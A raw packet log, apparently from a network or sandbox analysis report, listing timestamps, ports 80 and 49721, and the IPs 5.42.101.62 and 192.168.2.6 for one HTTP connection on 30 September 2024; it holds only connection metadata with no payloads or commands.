Sep 30, 2024 13:59:23.547367096 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.547374964 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.547382116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.547401905 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.547435999 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.548104048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.548131943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.548146963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.548157930 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.548168898 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.548192024 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.548224926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.548243046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.548258066 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.548269033 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.548284054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.548289061 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.548297882 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.548310995 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.548324108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.548324108 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.548360109 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.548398972 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.548413992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.548428059 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.548443079 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.548449039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.548465014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.548480988 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.548731089 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.632036924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632113934 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.632240057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632256031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632277012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632281065 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.632291079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632301092 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.632306099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632319927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.632319927 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632327080 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.632333994 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632347107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632348061 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.632358074 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.632360935 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632380009 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.632381916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632395983 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632410049 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632416010 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.632425070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632430077 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.632438898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632452965 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.632453918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632467985 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632481098 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.632482052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632497072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632505894 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.632510900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632518053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.632524967 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632539034 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632544041 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.632550955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632555008 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.632567883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632579088 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.632584095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632597923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632605076 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.632611990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.632622957 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.632639885 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.632651091 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.633011103 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.633024931 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.633038998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.633049965 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.633059978 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.633064032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.633078098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.633079052 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.633090973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.633102894 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.633105040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.633119106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.633127928 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.633131981 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.633145094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.633150101 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.633158922 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.633169889 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.633193970 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.634462118 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.634475946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.634524107 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.634579897 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.634593964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.634608030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.634618998 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.634622097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.634637117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.634643078 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.634665012 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.634686947 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.635113955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.635126114 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.635139942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.635153055 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.635162115 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.635166883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.635181904 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.635185957 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.635199070 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.635224104 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.635293007 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.635307074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.635320902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.635334969 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.635344028 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.635364056 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.635482073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.635499954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.635535955 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.635832071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.635848045 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.635879040 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.635900974 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.636003017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.636017084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.636029959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.636046886 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.636060953 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.636554956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.636569977 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.636583090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.636596918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.636601925 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.636610985 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.636625051 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.636637926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.636641026 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.636651993 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.636665106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.636674881 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.636674881 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.636681080 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.636696100 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.636703014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.636713982 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.636723995 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.636737108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.636739016 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.636753082 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.636764050 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.636778116 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.636797905 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.636864901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.636882067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.636908054 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.636919022 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.637062073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.637151003 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.637152910 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.637168884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.637182951 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.637197018 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.637207985 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.637211084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.637223959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.637237072 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.637238979 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.637264967 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.637271881 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.637605906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.637618065 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.637631893 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.637645960 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.637659073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.637661934 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.637672901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.637686014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.637692928 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.637706041 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.637712002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.637718916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.637748957 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.637761116 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.638674974 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.638689041 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.638704062 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.638731956 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.638753891 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.638823032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.638849020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.638863087 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.638864040 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.638875961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.638880968 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.638890982 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.638895988 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.638911009 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.638916969 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.638925076 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.638937950 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.638940096 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.638948917 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.638953924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.638964891 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.638969898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.638983011 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.638998032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.639012098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.639022112 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.639050961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.639064074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.639075041 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.639085054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.639102936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.639106989 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.639117002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.639122963 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.639172077 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.639195919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.639209986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.639225006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.639238119 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.639267921 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.639281988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.639296055 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.639311075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.639321089 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.639326096 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.639348030 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.639377117 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.639389992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.639431953 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.639435053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.639477968 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.722347021 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722397089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722410917 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722415924 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.722441912 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722448111 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.722448111 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.722456932 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722497940 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.722510099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722523928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722537994 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.722538948 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722544909 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.722564936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722565889 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.722580910 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722582102 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.722603083 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722606897 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.722618103 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722625971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.722631931 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722646952 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.722659111 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722666979 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.722671032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722683907 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722697973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722704887 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.722734928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722738028 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.722753048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722769976 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.722775936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722790956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722798109 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.722805977 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722817898 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.722824097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722831011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.722836018 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722851992 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.722863913 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722873926 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.722891092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722904921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722909927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.722918987 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722933054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722933054 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.722946882 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722954035 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.722959042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722980976 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.722985983 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.722994089 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.723000050 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.723021984 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.723026991 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.723041058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.723043919 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.723054886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.723062038 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.723071098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.723078966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.723084927 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.723092079 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.723099947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.723112106 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.723136902 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.737736940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.737752914 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.737766981 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.737804890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.737818003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.737833023 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.737847090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.737853050 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.737896919 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.737974882 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.737988949 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738003969 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738018990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738020897 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738034964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738049984 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738053083 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.738084078 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.738090038 CEST	49721	80	192.168.2.6	5.42.101.62
